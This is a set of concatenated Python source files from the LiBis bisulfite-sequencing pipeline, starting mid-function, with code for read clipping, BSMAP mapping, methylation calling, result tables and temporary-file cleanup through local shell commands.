logname=[]
# print(name)
for n in name:
# print(n)
#bn="BED_FILE/6P1_notrim_val_1_val_1_combine.bam.G.bed"
#ln="BED_FILE/6P1_notrim_val_1_val_1_combine.bam_stat.txt"
bn,ln=mcall.run(n)
bedname.append(bn)
logname.append(ln)
print('[ '+str(datetime.now())+' ]\tFinish Methylation Calling for samples')
return bedname,logname
def computeProcess(param):
fastqc,trim,bsmap,mcall,bedtools = Fastqc, Trim, Bsmap, Mcall, Bedtools
ProcessObject=[fastqc,trim,bsmap,mcall,bedtools]
if not param['moabs']:
for obj in ProcessObject:
status,word=obj.check(param['nocheck'])
#if not status:
# raise Exception(word)
#check all software have been installed successfully.
for obj in ProcessObject[:-1]:
obj.setpath('./')
bsmap.setparam(param)
mcall.setparam(param)
name = param['name']
resultfilename={}
if param['qc']:
name,qcresult=computeQC(name,fastqc,{})
resultfilename['qc']=qcresult
if os.path.exists('RESULT') and not os.path.exists('RESULT/qc'):
os.system('mkdir RESULT/qc')
os.system('cp Fastqc/*.html RESULT/qc')
if param['trim']:
name,trimresult = computeTrim(name,trim,{})
resultfilename['trim']=trimresult
name,bsmapresult = computeBsmap(name,bsmap,param)
resultfilename['bsmap'] = bsmapresult
originalfilename = param['name']
filelabel = param['label']
marker=['Filename','Label']
marker.append('QC')
if param['qc']:
qcresult = []
prepath = "qc/"
for q in resultfilename['qc']:
if len(q)==1:
qcresult.append('<a href="'+prepath+q[0]+'">QC'+'</a>')
else:
qcresult.append('<a href="'+prepath+q[0]+'">QC1'+'</a>,'+'<a href="'+prepath+q[1]+'">QC2'+'</a>')
else:
qcresult=["/" for i in range(len(originalfilename))]
marker.append('Trim')
if param['trim']:
trimresult =TrimOutputExtractor(resultfilename['trim'])#,param['clip'])
else:
trimresult=["/" for i in range(len(originalfilename))]
marker.extend(['Input reads','mapped reads','uniquely mapped reads','clipped reads', \
'clipped fragments','all mapped reads','all uniquely mapped reads',\
'mapping ratio','uniquely mapping ratio'])
bsmapresult = BsmapResult(resultfilename['bsmap'],param['clip'],param['bamfiles'])#All contents required by the last extend
sample=0
datatable=[marker]
for orin in originalfilename:
l = filelabel[sample]
br = bsmapresult[sample]
temp=[]
filenum=0
if len(orin)==1:
nn=orin[0]
else:
nn=orin[0]+','+orin[1]
temp.extend([nn,l])
#if param['qc']:
temp.append(qcresult[filenum])
#if param['trim']:
trim_s = trimresult[sample]
if trim_s=="/" or len(trim_s)==1:
temp.append(trimresult[sample][0])
else:
temp.append(trimresult[sample][0]+','+trimresult[sample][1])
filenum=filenum+1
temp.extend(br)
sample = sample+1
datatable.append(temp)
datatableprint = list(map(lambda x: ((''.join(list(map(lambda y:str(y)+'\t',x )))).strip()+'\n'),datatable))
with open('RESULT/datatable.txt','w') as f:
f.writelines(datatableprint)
if 'mcall' not in param or not param['mcall']:
return
name,mcallresult = computeMcall(name,mcall,param)
resultfilename['mcall'] = mcallresult
meth_cpg_bed_name=name
'''
All computing job is done here. Plotting is behind.
Table:
Filename, Label, trim ratio(TrimOutputExtractor),input reads,mapped reads, unique mapped reads,
clipped reads, unique clipped reads, all mapped reads, unique all, mapping ratio, unique mapping ratio
Plots:
1. Extract trim ratio from trim report files. Generate a bar plot
2. Extract bsmap mapping ratio
3.
'''
if 'mcall' not in resultfilename or 'bsmap' not in resultfilename:
return
if 'plot' not in param or not param['plot']:
return
print('[ '+str(datetime.now())+' ]\tGenerating reports...')
'''
Result from BsmapResult:
[[total reads,mapped reads,uniquely mapped reads, clipped reads, unique clipped reads,
all mapped reads, all uniquely mapped reads, mapping ratio, uniquely mapping ratio],...]
'''
'''
Table generated as RESULT/datatable.txt
'''
#print(param)
if param['genome']!=None and len(filelabel)>1:
bedtools.setparam(param)
bedtools.makewindow()
shortnames=list(map(lambda x:x+'.short.bed',meth_cpg_bed_name))
intersectnames=bedtools.intersect(meth_cpg_bed_name)
methdic=union(intersectnames)
columns = ['chrom','start','end']
#print(methdic)
methdata=list(map(lambda x:x.split()+methdic[x],methdic))
#columns.extend(list(map(lambda x:'F'+str(x),list(range(1,len(methdata[0])-2)))))
columns.extend(filelabel)
#print(methdata)
#print(columns)
df = DataFrame(methdata,columns=columns)
point_cluster(df,'RESULT/point_cluster.png')
heatmap(df,'RESULT/heatmap.png')
for sn in shortnames:
removeFileIfExist(sn)
abspath = os.path.abspath(__file__)
pos=abspath.find('computeProcess')
abspath = abspath[:pos]
os.system('cp '+abspath+'result.html RESULT/')
os.system('cp -r '+abspath+'jslib RESULT/')
removeFileIfExist(param['genome']+'_'+str(param['bin'])+'.bed')
for i in range(len(filelabel)):
removeFileIfExist('BED_FILE/'+str(i)+'.intersect')
removeFileIfExist('BED_FILE/'+str(i)+'.bed')
if __name__=="__main__":
param={'name':[['6P1_notrim_val_1.fq.gz','6P2_notrim_val_2.fq.gz'],['6P1_notrim_val_1.fq.gz','6P2_notrim_val_2.fq.gz']],
'clip':1,
'label':['sample1','sample2'],
'window':30,
'step':5,
'process':1,
'ref':'/data/dsun/ref/humanigenome/hg19.fa',
'qc':1,
'trim':1,
'genome':'hg19',
'bin':1000000,
'filter_len':40
}
computeProcess(param)
|
biobai/LiBis | LiBis/test/Comb_fastq.py | <reponame>biobai/LiBis
from utils import overlap,Pshell
import utils
import sys
import os
def GetFastqList(joined_reads,Part_Fastq_Filename,step,length_bin,filter,outputname,originalfile):
nameset={}
contentset={}
filenum = len(Part_Fastq_Filename)
#Generate a dictionary which contains readsname, start file order and extend fraction number
for name in joined_reads:
reads_list = joined_reads[name]
if len(reads_list)==0: continue
#n = reads_list[0].fqname
n = name
nameset[n]=[[read[2],read[4]] for read in reads_list]
contentset[n]=[['',''] for i in range(len(nameset[n]))]#read_content,read_quality
#contentset[n]=['','']
pos_mark=[{},{}]
for name in nameset:
readinfo = nameset[name]
pos=0
if name[-2:]=='_2':
pos=1
if name[-2:]=='_1' or name[-2:]=='_2':
name = name[:-2]
for order,sum in readinfo:
start = (order)*step
end = start + step*sum + length_bin
if end-start<filter: continue
if name in pos_mark[pos]:
pos_mark[pos][name].append([start,end])
else:
pos_mark[pos][name]=[[start,end]]
#num=0
#for n in pos_mark[0]:
# print(n)
# if n in pos_mark[0]:
# print(pos_mark[0][n])
# num+=1
# if num>10: break
fileorder=0
result=[]
for file in originalfile:
with open(file) as f:
while True:
name = f.readline()
if not name:
break
reads = f.readline()
_ = f.readline()
quality = f.readline()
fqname = name.strip().split()[0][1:]
if not fqname in pos_mark[fileorder]: continue
for i in range(len(pos_mark[fileorder][fqname])):
start,end = pos_mark[fileorder][fqname][i]
s_name = fqname
if len(pos_mark[pos])>1:
s_name += '_'+str(i)
s_read = reads[start:end]
s_qua = quality[start:end]
s_final = '@'+s_name+'_'+str(i)+'\n'+s_read+'\n'+'+\n'+s_qua+'\n'
result.append(s_final)
if len(result)>5000000:
with open(outputname+'_finalfastq.fastq','a') as ff:
ff.writelines(result)
result=[]
fileorder+=1
if len(result)>0:
with open(outputname+'_finalfastq.fastq','a') as ff:
ff.writelines(result)
'''
file_order=0
for name in Part_Fastq_Filename:
with open(name) as f:
lines = f.readlines()
for i in range(0,len(lines),4):
fqname = lines[i].strip().split()[0][1:]
if not fqname in nameset: continue
read = lines[i+1].strip()
quality = lines[i+3].strip()
fraction_num=0
for order,sum in nameset[fqname]:
#print(order,sum)
if file_order==order:
contentset[fqname][fraction_num][0]=read
contentset[fqname][fraction_num][1]=quality
if file_order>order and file_order<=order+sum:
add_length = ((len(read)-1)%step)+1
contentset[fqname][fraction_num][0]+=read[-1*add_length:]
contentset[fqname][fraction_num][1]+=quality[-1*add_length:]
fraction_num+=1
file_order+=1
return contentset
'''
def combine(outputname,Part_Fastq_Filename,step,length_bin,filter,originalfile):
Part_Fastq_Filename=Part_Fastq_Filename
#print(Part_Fastq_Filename)
cache_length=3
result={}
file_order=0
for name in Part_Fastq_Filename:
command = 'samtools view '+name+'.bam >'+name+'.sam'
SamFileMaker = Pshell(command)
#SamFileMaker.process()
print(name)
print(len(result))
with open(name+'.sam') as f:
#print(partsamlines[-1])
for line in f:
#print(line)
s = line.strip().split('\t')
#name = s[0].split(':')
#if len(name)>6:
# s[0] = ':'.join(name[3:])
mismatch = int(s[11][s[11].rfind(':')+1:])
if mismatch>1: continue #testmismatch
if not(s[0] in result) or (len(result[s[0]])==0):
#result[s[0]]=[utils.reads(s[2][3:],int(s[3]),file_order,mismatch)]
result[s[0]]=[[s[2][3:],int(s[3]),file_order,mismatch,0]]
else:
temp = [s[2][3:],int(s[3]),file_order,mismatch,0]#utils.reads(s[2][3:],int(s[3]),file_order,mismatch)
#reads from cliped mapped bam
join_or_not=False
read_length = len(s[9])
tail_length = ((read_length-1)%step)+1
refseq = s[12][-2-tail_length:-2]
readsseq = s[9][-tail_length:]
strand = s[13][-2:]
for reads in result[s[0]]:#Try to join existing seeds
#if reads.canjoin(temp,step,read_length,length_bin):
if readsjoin(reads,temp,step,read_length,length_bin):
mis=0
for ppp in range(tail_length):
if (refseq[ppp]!=readsseq[ppp]):
#Here ++/+-/-+/-- should be considered. C/T or A/G match should be identified.
if strand[0]=='+':
if (refseq[ppp]=='C' and readsseq=='T'): continue
else:
if (refseq[ppp]=='G' and readsseq=='A'): continue
mis+=1
#update:
#reads.join(temp,mis)
reads[3]+=mis#mismatch
reads[4] = temp[2]-reads[2]#sum
join_or_not=True
break
frac_list=result[s[0]]
if not join_or_not: #temp reads haven't join any exist reads
frac_list.append(temp) #add temp reads to array as new seed
#if file_order>2 and len(frac_list)>=s:
# for i in range(len(frac_list)-1,-1,-1):
# read = frac_list[i]
# if file_order-read.order>2:
# if read.getSum()==0 and read.getMismatch()>1:
# frac_list.pop(i)
#print(len(result[s[0]]))
file_order+=1
#join done
#filter results: filter1
for name in result:
nonjoin_num=0
reads_list=result[name]
for i in range(len(reads_list)-1,-1,-1):
if reads_list[i][4]==0 and reads_list[i][3]>1:
reads_list.pop(i)#Remove all reads which have more than 1 mistake and never be joined
#filter results: filter2
for name in result:
reads_list = result[name]
num = len(reads_list)
del_mark = [0 for i in range(num)]
for i in range(num):
for j in range(i+1,num):
if overlap(result[name][i],result[name][j],step,length_bin):
sss = result[name][i][4]-result[name][j][4]
if sss>0: del_mark[j]=1
elif sss<0: del_mark[i]=1
else:
mis = result[name][i][3]-result[name][j][3]
if mis>0: del_mark[i]=1
else: del_mark[j]=1
#Only keep the best read which has the most extends and the least mismatches.
for i in range(num-1,-1,-1):
if del_mark[i]==1:
reads_list.pop(i)
#fastq_dic =
GetFastqList(result,Part_Fastq_Filename,step,length_bin,filter,outputname,originalfile)
#print(fastq_dic['SRR1248467.53331_1'])
#print(result['SRR1248467.53331_H'][0])
#sys.exit()
#with open(outputname+'_finalfastq.fastq','w') as f:
# for name in fastq_dic:
# num=1
# for read,quality in fastq_dic[name]:
# #read,quality = fastq_dic[name][num]
# if (len(read)<filter): continue
# f.write('@'+name+'_'+str(num)+'\n')
# f.write(read+'\n')
# f.write('+\n')
# f.write(quality+'\n')
# num+=1
if __name__=="__main__":
partfilename = ['6P.part1.fastq','6P.part2.fastq','6P.part3.fastq','6P.part4.fastq']
'''
['6P.part10.fastq','6P.part14.fastq','6P.part18.fastq','6P.part21.fastq',
'6P.part2.fastq','6P.part6.fastq','6P.part11.fastq','6P.part15.fastq',
'6P.part19.fastq','6P.part22.fastq','6P.part3.fastq','6P.part7.fastq',
'6P.part12.fastq','6P.part16.fastq','6P.part1.fastq','6P.part23.fastq',
'6P.part4.fastq','6P.part8.fastq','6P.part13.fastq','6P.part17.fastq',
'6P.part20.fastq','6P.part24.fastq','6P.part5.fastq','6P.part9.fastq']
'''
combine('6P',partfilename,5,30,40,['6P_R1_trimmed.fq','6P_R2_trimmed.fq'])
|
biobai/LiBis | LiBis/utils.py | <reponame>biobai/LiBis<filename>LiBis/utils.py<gh_stars>0
import sys
import multiprocessing
import subprocess
import os
import time
from datetime import datetime
timer = str(int(time.time()))
class Pshell():
def __init__(self,command):
self.command = command
self.out = ""
def change(self,command):
self.command = command
def getcommand(self,command):
return command
def process(self):
t = subprocess.Popen(self.command,shell=True,stdout = subprocess.PIPE,stderr = subprocess.PIPE)
self.out = ''#t.stdout.read().decode()
self.err = t.stderr.read().decode()
with open('LiBis_command_log_'+timer+'.txt','a') as f:
f.write(str(datetime.now())+'\tcommand: '+self.command+'\n')
f.write('Output:\n')
f.write(self.err+'\n\n')
def process_with_log(self):
t = subprocess.Popen(self.command,shell=True,stdout = subprocess.PIPE,stderr = subprocess.PIPE)
out = t.stdout.read().decode()
return out
def process_with_err(self):
t = subprocess.Popen(self.command,shell=True,stdout = subprocess.PIPE,stderr = subprocess.PIPE)
err = t.stderr.read().decode()
return err
def get_result(self):
return self.out
class reads():
def __init__(self,chromosome,startpos,order,mismatch):
# self.fqname = fqname
self.chromosome = chromosome
self.startpos = startpos
self.sum = 0
self.order = order
self.chain = 0
self.mismatch = mismatch
def __str__(self):
print(self.__dict__)
def equal(self,rreads):
if (rreads.getChrom()==self.chromosome)and(rreads.getStartPos()==self.startpos): return True
return False
def getChrom(self):
return self.chromosome
def getOrder(self):
return self.order
def getSum(self):
return self.sum
def getStartPos(self):
return self.startpos
def join(self,tail,mis):
self.mismatch = self.mismatch + mis
self.sum = tail.getOrder()-self.getOrder()
def getChain(self):
return self.chain
def getMismatch(self):
return self.mismatch
def canjoin(self,tail,step,xx,binsize):
if (tail.getChrom()==self.chromosome):
if (tail.getStartPos() == self.startpos + step*(self.order-tail.getOrder()) or
tail.getStartPos() == self.startpos - step*(self.order-tail.getOrder())):
#if tail.getStartPos()>self.startpos: self.chain = 0
#else: self.chain = 1
return True
if xx!=binsize:
if xx % step == abs(self.startpos-tail.getStartPos())%step:
return True
return False
def readsjoin(head,tail,step,xx,binsize):
if (head[0]==tail[0]):
if not overlap(head,tail,step,binsize): return False
if (tail[1]==head[1]+step*(head[2]-tail[2]) or tail[1]==head[1]-step*(head[2]-tail[2])):
return True
if xx!=binsize:
if xx % step == abs(head[1]-tail[1])%step:
return True
return False
#[s[2][3:],int(s[3]),file_order,mismatch,0] [chr,startpos,fileorder,mismatch,0]
#chromosome,startpos,order,mismatch,sum
def overlap(a,b,step,length_bin):
#Detect 2 kinds of overlapping
# 1. fragments combination overlap: fragment 1 and fragment 2,3,4.. can not appear in two different combinations
# 2. combinations can not overlap in reference genome.
ordera = a[2]
orderb = b[2]
if (orderb<ordera):
k=a
a=b
b=k
ordera = a[2]
orderb = b[2]
sa = a[1]
sb = b[1]
suma = a[4]
sumb = b[4]
if (a[0]==b[0]) and ((sa<sb and sa+suma*step+length_bin>sb) or (sb<sa and sb+sumb*step+length_bin>sa)):
return True
if orderb-ordera-suma<=(length_bin/step)-1: return True
return False
def RemoveFastqExtension(name):
'''
Tested
This function is used for remove extensions like .gz .fq .fastq.gz
'''
newname = name
if '/' in newname:
newname = newname[newname.rfind('/')+1:]
if newname[-3:].lower()=='.gz':
newname=newname[:-3]
if newname[-3:].lower()=='.fq':
newname=newname[:-3]
if newname[-6:].lower()=='.fastq':
newname=newname[:-6]
return newname
def toolcheck(command):
'''
Tested
'''
t = subprocess.Popen(command,shell=True,stdout = subprocess.PIPE,stderr = subprocess.PIPE)
out = t.stdout.read().decode()
err = t.stdout.read().decode()
if ' command not found' in out or ' command not found' in err:
return False
return True
def samtoolsversion():
t = subprocess.Popen('samtools --version',shell=True,stdout = subprocess.PIPE,stderr = subprocess.PIPE)
out = t.stdout.read().decode()
err = t.stdout.read().decode()
version = out.split('\n')[0].split()[1].strip()
version = float(version)
return version
def readf(filename):
'''
Tested
'''
with open(filename) as f:
lines = f.readlines()
return lines
def union(files):
'''
Tested
'''
dic={}
for f in files:
lines = readf(f)
for line in lines:
temp = line.strip().split()
if temp[3]=='.': continue
key=temp[0]+'\t'+temp[1]+'\t'+temp[2]
if key in dic:
dic[key].append(float(temp[3]))
else:
dic[key]=[float(temp[3])]
del_arr=[]
for key in dic:
if len(dic[key])!=len(files):
del_arr.append(key)
for k in del_arr:
del(dic[k])
return dic
def exist(file):
for f in file:
if isinstance(f,list):
for ff in f:
if not os.path.exists(ff):
return ff,False
else:
if not os.path.exists(f):
return f,False
return '',True
def removeFileIfExist(name):
if os.path.exists(name):
print('Removing temporary file: '+name+' ......')
os.remove(name)
else:
print("Temporary file doesn't exist: "+name+' !')
def bam_file_name_format(s):
return s.strip().split(',')
def fastq_file_name_format(s):
#split samples using blank. split double end files using comma(,);
ans=[]
for f in s:
if ',' in f:
ff=f.strip().split(',')
else:
ff = [f]
ans.append(ff)
return ans
def update_read(read):
l = len(read.seq)
read.cigartuples = [(0,l)]
read.template_length = l
def split_log_localize(read_num_dist, read_len_dist, name):
result= ['Number of fragments from one read\tread count\n']
total_ori_reads = 0
total_frag = 0
for i,num in enumerate(read_num_dist):
if num==0: continue
read_num = i#+1
result.append(str(read_num)+'\t'+str(num)+'\n')
total_ori_reads += num
total_frag += num * read_num
result.append('Total rescued original reads: '+str(total_ori_reads)+'\n')
result.append('Total rescued fragments: '+str(total_frag)+'\n')
result.append('Read length\tread count\n')
total_bp = 0
for i,num in enumerate(read_len_dist):
if num==0: continue
read_len = i#+1
result.append(str(read_len)+'\t'+str(num)+'\n')
total_bp += read_len*num
result.append('Total base pair: '+str(total_bp)+'\n')
with open(name,'w') as f:
f.writelines(result)
if __name__=="__main__":
#dic=union(['BED_FILE/head_combine.bam.G.bed.short.bed','BED_FILE/head_combine.bam.G.bed.short.bed'])
#print(dic)
#print(RemoveFastqExtension('SRR1248444_2.fastq.gz'))
#files=[]
#for i in range(15):
# files.append('../example/scWGBS/BED_FILE/'+str(i)+'.bed')
#data=[]
#dic=union(files)
#columns = ['chrom','start','end']
#print(methdic)
#methdata=list(map(lambda x:x.split()+dic[x],dic))
#columns.extend(list(map(lambda x:'F'+str(x),list(range(1,len(methdata[0])-2)))))
#columns.extend(['MII','MII','MII','MII','MII','2iESC','2iESC','2iESC','2iESC','2iESC','Ser_ESC','Ser_ESC','Ser_ESC','Ser_ESC','Ser_ESC'])
#print(methdata)
#print(columns)
#from pandas import DataFrame
#from bsplot import *
#df = DataFrame(methdata,columns=columns)
#point_cluster(df,'point_clutser.png')
split_log_localize([1,2,3,4,4,5,], [1,2,3,4,5,6,7], 'aa.temp')
|
biobai/LiBis | LiBis/moabs.py | <reponame>biobai/LiBis
'''
Tested
This is a wapper for MOABS in this pipeline. It contains commands for BSMAP, bam sort, bam deduplicate, methylation calling.
'''
from .utils import *
from .clipmode import clipmode
import os
class MCALL():
def check(self,nocheck=False):
#return True,''
if not toolcheck('mcall'):
return False,'Mcall not found!'
if os.path.exists('BED_FILE'):
if nocheck:
print('"BED_FILE" exists! But --nocheck enabled, so continue running.')
else:
return False,'"BED_FILE" exists! Please delete "BED_FILE"'
else:
os.mkdir("BED_FILE")
return True,''
def setpath(self,path):
self.path = path+'BED_FILE/'
def setparam(self,param):
mcallparam=None
if 'mcall' in param:
mcallparam=param['mcall']
self.refpath = param['ref']
self.extraparam=''
def run(self,name):
'''
4 muted 37 41 46 49
'''
cmd='mcall -m '+name+' -r '+self.refpath+' -p 8 1>>'+self.path+'log 2>>'+self.path+'err'
p = Pshell(cmd)
p.process()
generatedfile=['.G.bed','.HG.bed','_stat.txt']
newname=[]
for g in generatedfile:
os.rename(name+g,self.path+name[name.rfind('/')+1:]+g)
newname.append(self.path+name[name.rfind('/')+1:]+g)
cmd="awk -v OFS='\t' '{if (NR!=1) print $1,$2,$3,$4}' "+newname[0]+'> '+newname[0]+'.short.bed'
p.change(cmd)
p.process()
cmd="rm mSuite.G.bed"
p.change(cmd)
p.process()
return newname[0],newname[2]
class BSMAP():
def __init__(self):
self.samtools_version = 1.1#samtoolsversion()
self.has_unsorted = False
def samtools_sort(self,p, inputfile, outputfile):
if self.samtools_version<=1.3:
p.change('samtools sort -f -@ 4 '+inputfile+' '+outputfile)
p.process()
else:
p.change('')
p.process()
def check(self,nocheck=False):
#return True,''
if not toolcheck('bsmap -h'):
return False,'BSMAP not found!'
if os.path.exists('BAM_FILE'):
if nocheck:
print('"BAM_FILE" exists! But --nocheck enabled, so continue running.')
else:
return False,'"BAM_FILE" exists! Please delete "BAM_FILE"'
else:
os.mkdir("BAM_FILE")
return True,''
def setpath(self,path):
self.path = path+'BAM_FILE/'
def setparam(self,param):
self.extraparam=''
bsmapparam=None
if 'bsmap' in param:
bsmapparam = param['bsmap']
'''
Once I'm ready to add all parameters for bsmap and mcall (After finish the dictionary
to parameter function, I will delete variable named ***param )
'''
self.refpath = param['ref']
def normalmode(self,file,given_label,threads,param={}):
'''
3 muted 96 98 100
'''
#f = file.strip().split()
f = file
purename = given_label#RemoveFastqExtension(f[0][f[0].rfind('/')+1:])
name = self.path+purename+'.bam'
logname = self.path+purename+'.record'
if len(f)==1:
cmd = 'bsmap -a '+f[0]+' -d '+self.refpath+' -o '+name+' -S 123 -n 1 -p ' + threads + ' 1>>BAM_FILE/bsmap_log 2>'+logname
else:
cmd = 'bsmap -a '+f[0]+' -b '+f[1]+' -d '+self.refpath+' -o '+name+' -S 123 -n 1 -p ' + threads + ' 1>>BAM_FILE/bsmap_log 2>'+logname
p = Pshell(cmd)
p.process()
p.change('samtools sort -f -@ 4 '+name+' '+name+'.sorted.bam')
p.process()
p.change('mv '+name+'.sorted.bam '+name)
p.process()
return name,logname
def hasUnsortMode(self):
p = Pshell('bsmap')
help_mes = p.process_with_err()
if '-U' in help_mes:
self.has_unsorted = True
def clipping(self,filenames, param, given_bam_file,given_label):
'''
I should return a bam file name and a log file name here
'''
self.hasUnsortMode()
newname,log = clipmode(filenames,param, given_bam_file,given_label)
return newname,log
Mcall, Bsmap = MCALL(), BSMAP()
if __name__=="__main__":
#mcall = Mcall()
#print(mcall.check())
#bsmap = Bsmap()
#bsmap.setparam({'ref':'/data/dsun/ref/humanigenome/hg19.fa'})
#print(bsmap.check())
#bsmap.setpath('./')
#bsmap.normalmode(['Trim/head.fq'])
mcall = Mcall()
mcall.setpath('./')
mcall.setparam({'ref':'/data/dsun/ref/humanigenome/hg19.fa'})
mcall.run('BAM_FILE/head_combine.bam')
|
biobai/LiBis | LiBis/clipmode.py | from datetime import datetime
from .mapreduce import *
import multiprocessing
#from Comb_fastq import combine
import pysam
from .utils import *
import sys
import gzip
import os
from .pairend import *
max_file_length = 500 # 24
_index = []
for i in range(max_file_length):
_index.append(str(i))
reads_cut_buff = {}
def cut(step,length_bin,link,i):
start = step*i
end = length_bin + start
if end > len(link):
end = len(link)
if start>=end or end-start<=length_bin-step:
return False,''
return True,link[start:end]
def cut_serial(step, length_bin, read_len, max_file_length):
#read_len = len(link)
cutted_list = []
for i in range(max_file_length):
start = step*i
end = length_bin + start
if end > read_len:
end = read_len
if start>=end or end-start<=length_bin-step:
break
cutted_list.append([start,end])
return cutted_list
class file_writer:
def __init__(self,step,length_bin,max_file_length,outputname):
self.step = step
self.length_bin = length_bin
self.max_file_length = max_file_length
self.outputname = outputname
self.unmapped_file = outputname + '.unmapped.fastq'
self.left_reads = []
self.gz = False
removeFileIfExist(self.unmapped_file)
def gzopen(self):
self.gz = True
self.unmapped_file = self.unmapped_file + '.gz'
removeFileIfExist(self.unmapped_file)
def file_open(self):
if self.gz:
self.f = gzip.open(self.unmapped_file,'w')
else:
self.f = open(self.unmapped_file,'w')
def file_close(self):
self.f.close()
def writefiles(self,UnmappedReads):
#unmapped_file = outputname + '.unmapped.fastq.gz'
batch_size = 50000
filecontent = []
for readsname in UnmappedReads:
link = UnmappedReads[readsname]
read_length = len(link[0])
if read_length in reads_cut_buff:
start_end_list = reads_cut_buff[read_length]
else:
start_end_list = cut_serial(self.step,self.length_bin, read_length,self.max_file_length)
reads_cut_buff[read_length] = start_end_list
for ind, start_end in zip(_index,start_end_list):
start,end = start_end
fc = '@'+readsname+'&'+ind+'\n'+link[0][start:end]+'\n+\n'+link[1][start:end]+'\n'
#if self.gz: fc = fc.encode()
filecontent.append(fc)
if batch_size-len(filecontent)<=24:
while len(filecontent)<batch_size:
t = '@FAKE'+readsname+'\nATCGATCGATCGATCGATCGATCGATCGATCGATCGATCG\n+\n****************************************\n'
if self.gz: t = t.encode()
filecontent.append(t)
content = ''.join(filecontent)
if self.gz: content = content.encode()
self.f.write(content)
filecontent = []
content = ''.join(filecontent)
if self.gz: content = content.encode()
self.f.write(content)
#with gzip.open(unmapped_file,'a') as f:
# f.writelines(filecontent)
#return unmapped_file
def clip_process(inputfileinfo,param,given_bam_file,given_label):
print('[ '+str(datetime.now())+' ]\tBegin the alignment process with clipping.')
input_file_num = len(inputfileinfo)
if input_file_num<=0 or input_file_num>2:
print("Parameter error in "+l)
sys.exit()
refpath = param['ref']
filter = param['filter_len']
threads = param['threads']
step = param['step']
length_bin = param['window']
bamu = False
if 'bamu' in param and param['bamu']:
bamu=True
purename = inputfileinfo[0][inputfileinfo[0].rfind('/')+1:]
if not given_bam_file:
outputname = RemoveFastqExtension(purename)
else:
purename_bam = given_bam_file[given_bam_file.rfind('/')+1:]
outputname = RemoveFastqExtension(purename)+'_'+purename_bam[:-4]
if param['moabs']:
outputname = purename_bam[:-4]
# Part_Fastq_Filename=[]
#unmapped_file = outputname + '.unmapped.fastq.gz'
#removeFileIfExist(unmapped_file)
# for i in range(24):
# name = outputname+'.part'+str(i+1)+'.fastq'
# if os.path.exists(name):
# os.system('rm '+name)
if not given_bam_file:
output_prefix = outputname
else:
output_prefix = given_bam_file[:given_bam_file.rfind('.')]
if param['moabs']:
store_file_prefix = ''
else:
store_file_prefix = 'BAM_FILE/'
if not given_bam_file:
originallogname = store_file_prefix+outputname+'_originallog.record'
else:
originallogname = ''
phred=33
print('[ '+str(datetime.now())+' ]\tBegin the 1st round full reads mapping.')
if not given_bam_file:
if input_file_num==2 :
command='bsmap -a '+inputfileinfo[0]+' -b '+inputfileinfo[1]+' -z '+str(phred)+' -d '+refpath+' -o '+outputname+'.bam -U -S 123 -n 1 -r 0 -u -p ' + threads + ' 1>>LiBis_log 2>>'+originallogname
else:
command='bsmap -a '+inputfileinfo[0]+' -z '+str(phred)+' -d '+refpath+' -o '+outputname+'.bam -S 123 -n 1 -r 0 -U -u -p ' + threads + ' 1>>LiBis_log 2>>'+originallogname
First_try = Pshell(command)
First_try.process()
# --------------------------------------------Multiple mapping for multiple matched reads in pairend mapping.----------------------------------
print('[ '+str(datetime.now())+' ]\tFiltering and clipping unmapped reads.')
if 'multiple' in param and param['multiple']:
ori_bam = outputname+'.bam'
if given_bam_file:
ori_bam = given_bam_file
# pairend_remap(bam_filename,fastq_filename,output_name,refpath, multihits_num=10)
remove_list = []
multiple_recovered_bam = pairend_remap(ori_bam, inputfileinfo, outputname, refpath, output_prefix, multihits_num=10)
remove_list.append(multiple_recovered_bam)
remove_list.append(multiple_recovered_bam+'.bai')
multiple_recovered_bam = bam_merge(ori_bam, multiple_recovered_bam)
for r in remove_list:
removeFileIfExist(r)
file_w = file_writer(step,length_bin,max_file_length,outputname)
if 'gz' in param and param['gz']:
file_w.gzopen()
file_w.file_open()
if given_bam_file and not bamu:
set_sam = {}
set_sam_pair = set()
bam_file_name = given_bam_file
bam_file = pysam.AlignmentFile(bam_file_name,'rb')
for line in bam_file:
qname = line.query_name
next_name = line.next_reference_name
next_pos = line.template_length
if next_name!=None:
if next_pos>0:
set_sam_pair.add(qname)
else:
if input_file_num==2:
m1 = (line.flag & 64)
m2 = (line.flag & 128)
if m1>0: mate = 1
elif m2>0: mate = 2
else: mate = 0
else:
mate = 0
set_sam[qname]=mate
UnmappedReads = {}
o=0
step = param['step']
length_bin = param['window']
for filename in inputfileinfo:
o+=1
gzmark=False
if filename.endswith('.gz'):
f = gzip.open(filename)
gzmark=True
else:
f = open(filename)
if f:
while 1:
if gzmark:
line1 = f.readline().decode()
else:
line1 = f.readline()
if not line1:
break
if gzmark:
line2 = f.readline().decode().strip()
line3 = f.readline().decode()
line4 = f.readline().decode().strip()
else:
line2 = f.readline().strip()
line3 = f.readline()
line4 = f.readline().strip()
line1 = line1.strip().split()
read_name = line1[0][1:]
pair_file_rank = o
if '/' in read_name:
split_pos=0
if '/' in read_name:
split_pos = read_name.rfind('/')
read_name = read_name[:split_pos]
if read_name in set_sam_pair: continue
mapped_mate = set_sam.get(read_name,-1)
if mapped_mate==0 or mapped_mate==pair_file_rank: continue
if input_file_num>1: read_name+='_'+str(pair_file_rank)
# Maybe the mate search method is buggy. Cuz there are different structures of reads name generated by different sequencing machine.
# Fixed in issue 1 in github.
UnmappedReads[read_name]=[line2,line4]
# Just adjust the Unmapped output size to 50000 and discard all small reads over 50000
if len(UnmappedReads)>3000000:
#if len(UnmappedReads)>50000:
file_w.writefiles(UnmappedReads)
UnmappedReads={}
if len(UnmappedReads)>0:
file_w.writefiles(UnmappedReads)
f.close()
del UnmappedReads
# sys.exit()
# We've got the splited fastq file, filename is stored in Part_Fastq_Filename
# for i in range(len(Part_Fastq_Filename)):
else:
bam_file_name = outputname+'.bam'
if given_bam_file:
bam_file_name = given_bam_file
bam_file = pysam.AlignmentFile(bam_file_name,'rb')
UnmappedReads = {}
for line in bam_file:
if (line.flag & 4 != 4): continue
strand_info=''
if line.flag & 64 == 64:
strand_info='_1'
if line.flag & 128 == 128:
strand_info='_2'
qname = line.query_name + strand_info
seq = line.seq
qua = line.qual
UnmappedReads[qname] = [seq, qua]
if len(UnmappedReads)>3000000:
file_w.writefiles(UnmappedReads)
UnmappedReads={}
if len(UnmappedReads)>0:
file_w.writefiles(UnmappedReads)
del UnmappedReads
bam_file.close()
unmapped_file = file_w.unmapped_file
file_w.file_close()
print('[ '+str(datetime.now())+' ]\tBegin the 2st round mapping for clipped fragments.')
